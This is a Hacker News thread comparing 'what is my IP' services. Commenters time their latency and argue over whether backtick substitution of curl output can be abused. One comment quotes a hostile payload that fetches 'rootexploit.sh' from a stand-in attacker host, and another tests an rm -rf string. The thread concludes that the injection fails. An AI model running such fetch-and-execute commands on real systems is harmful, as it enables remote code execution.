ping `curl whatismyip.akamai.com` | Hacker News Reader

ping `curl whatismyip.akamai.com`

whatismyip.akamai.com

From the methods outlined in the thread so far, I think I'd pick Akamai after a quick test of each of them. (results in the following are based on the 'real' value returned in a 'time' command

  Google 'ping' "baseline" from my ISP
     20 packets transmitted, 20 packets received, 0.0% packet loss
     round-trip min/avg/max/stddev = 19.858/23.823/31.484/2.593 ms

  #/SITE/METHOD
  #1: myip.opendns.com (dig)
  #2: whatismyip.akamai.com (curl)
  #3: ifconfig.me (curl)
  #4: ip.nux.ro (curl)
  #5: icanhazip.com (curl)

  RESULTS

  #1      #2      #3      #4      #5
  0.051   0.144   3.45    0.24    0.333   
  0.05    0.143   7.229   0.237   0.106   
  0.053   0.147   1.986   0.246   0.103   
  0.047   0.143   7.065   0.246   0.109   
  0.045   0.145   2.15    0.257   0.102   
  0.046   0.141   4.301   0.273   0.113   
  0.05    0.141   2.763   0.242   0.103   
  0.048   0.144   3.685   0.251   0.114   
  0.045   0.149   15.312  0.256   0.195   
  0.047   0.148   5.091   0.244   0.118   
  0.044   0.144   2.637   0.248   0.133   
  5.038   0.142   1.535   0.247   0.109   
  0.049   0.143   7.065   0.238   0.115   
  0.044   0.146   4.098   0.241   0.106   
  0.05    0.145   1.665   0.248   0.216   
  0.05    0.142   1.365   0.261   0.108   
  0.051   0.143   2.509   0.256   0.159   
  0.046   0.17    5.323   0.245   0.109   
  0.044   0.141   83.252  0.246   0.117   
  0.05    0.145   1.435   0.242   0.119

  0.048   0.144   3.685   0.246   0.113 MEDIAN
  0.310   0.145   8.551   0.248   0.135 AVERAGE
  1.144   0.006   18.377  0.008   0.057 STDEV

This is exactly what I was looking for. I was previously using http://automation.whatismyip.com/n09230945.asp, but the author is no longer making it available for free.

... and give anyone who controls your DNS a shell on your box. :)

How so?

Not 100%, but can't you just re-point the DNS to a server you control and return a different body from the curl request?

Maybe depending on your shell I'm probably wrong.

I don't see how you could be right. It won't evaluate the result:

  ajf@Ubuntu-1204-precise-64-minimal:~$ echo `echo "3 > file"`
  3 > file

CONCEDING THIS IN ADVANCE OF VERIFYING.

    ping `\`echo /etc/passwd\``
    zsh: permission denied: /etc/passwd

I may be wrong here, but would just returning \`rootyourmachine.sh\`` in the request body therefore work?

Edit: Serving that from a web server via ping `curl localhost:9999` only causes ping to respond with a usage warning, as if you had entered an incorrect command.

Is there a way to "break out of" ping from here, though?

No; you can pass arguments to ping, of course, but that's not helpful.

Sorry, gut reaction to command interpolation with curl.

Looks like you're right - I thought you could do it by injecting a quote or something, but apparently not.

> Looks like you're right - I thought you could do it by injecting a quote or something, but apparently not.

Still, I think it's a good way to think. Expect that there's a way for that input to do something malicious, even if it doesn't seem immediately possible.

I have a dynamic DNS daemon that fetches my IP via HTTP GET, and the first thing I do is validate that it's actually an IP before I do anything else with it.

Yes, but what could a different body do here? Is there anything dangerous you can do with ping?

The output from curl is being tacked onto 'ping ' and executed, so there's nothing stopping a malicious server from returning something like '127.0.0.1; $(curl http://pwn.your.box/rootexploit.sh) ' instead of just your IP.

Edit: This is completely wrong, and doesn't work.

How, exactly, would that work? You'd just be feeding the literal string "127.0.0.1; $(curl http://pwn.your.box/rootexploit.sh) " to ping.

Yep, you're right, it doesn't work. Edited post to reflect that, thanks.

Bash is strange, but it's not that strange

    $ ping `echo "rm -rf /nosuchdir"`
    ping: unknown host rm

The string being fed to ping is not interpolated or executed after it's returned by the command.

Yes, you are obviously right. There aren't even really any fun arguments you can pass to ping. I jumped the gun here.

I like `curl icanhazip.com` because it's cuter.

It also supports IPv6. whatismyip.akamai.com is IPv4 only.

http://ipv6.whatismyip.akamai.com/

I usually use http://checkip.dyndns.org.

Good find, thanks.

I prefer akamai's, since you can just curl it and get just the IP, nothing more. So you can do, say:

  ping `curl whatismyip.akamai.com`

EDIT: Edited title from "whatismyip.akamai.com" to "ping `curl whatismyip.akamai.com`"

http://ifconfig.me also has a fairly simple way to get more information beyond just an ip address.

Forgive me, but what's so exciting about this?

Most "what is my IP?" services either return it in hard-to-parse format, or they block curl.

Couldn't you roll your own with a few lines of Ruby and send it off to heroku?

I could also write my own version of /bin/cat, but that doesn't mean it's a good use of my time.

From a Verizon FiOS connection in the Boston area:

    --- a1524.g.akamai.net ping statistics ---
    29 packets transmitted, 29 packets received, 0.0% packet loss
    round-trip min/avg/max/stddev = 20.872/22.326/26.220/1.058 ms

For comparison:

    --- google.com ping statistics ---
    24 packets transmitted, 24 packets received, 0.0% packet loss
    round-trip min/avg/max/stddev = 10.791/12.767/16.010/1.329 ms

The point of this submission was more to point out you can do `curl whatismyip.akamai.com` rather than "ping `curl whatismyip.akamai.com`" specifically, but that's still interesting.

I was just trying to measure the latency to the server, an important characteristic for this service.

Previous ones I've used in the past (e.g., to update a dynamic DNS server) have suffered from excessive (multi-second) latency or would simply timeout unpredictably. I ended up writing my own on appspot.com.

Ah, sorry, I had misread your post.

You can also just google 'my ip'.

But the Akamai service is obviously much easier to use from a script.

Why not grep+awk ifconfig if you need your IP from a script?

NAT

That won't give you your publicly-addressable IP if you're behind a NAT.

Because, typically, you are behind a NAT router, and you are after your WAN address, not the LAN address you were assigned by the router.

Depending on the router, it might be simpler and more reliable to interrogate the router.

Also, some routers come with dynamic DNS updating built in (dynamic DNS is a common reason for needing this service).

That won't show you the public IP if you're behind a NAT. Why would you need the public IP instead of the private one? For example because you're trying to search for requests coming from that machin in some logs, take traffic traces from somewhere beyond the NAT, etc.

If you're looking for your public ip, it won't always work. Especially if you are behind a nat/proxy.

That, plus knowing which interface to inspect among those returned by ifconfig isn't always obvious.

Cool, thanks for the reply! (and to all other replies as well :) )

on a side note, http://l2.io/ip.js is pretty cool. since it allows script injection into the return, it can be used clientside to inject their ip into the webpage. Pretty cool if you're posting from static html to a 3rd party form.

works where item ip1 is where you want to IP address to end up on the client html.

I really don't understand why this was upvoted, or have I missed something?

curl ifconfig.me

Wow https://news.ycombinator.com/item?id=2278975 (788 days ago)

curlmyip.com is usually my go to.

what is the difference between this and "curl ifconfig.me". I tried, "curl ifconfig.me" seemed a little bit slower.

alias ip="dig +short myip.opendns.com @resolver1.opendns.com"

ping `curl ip.nux.ro` :P

Reply on news.ycombinator.com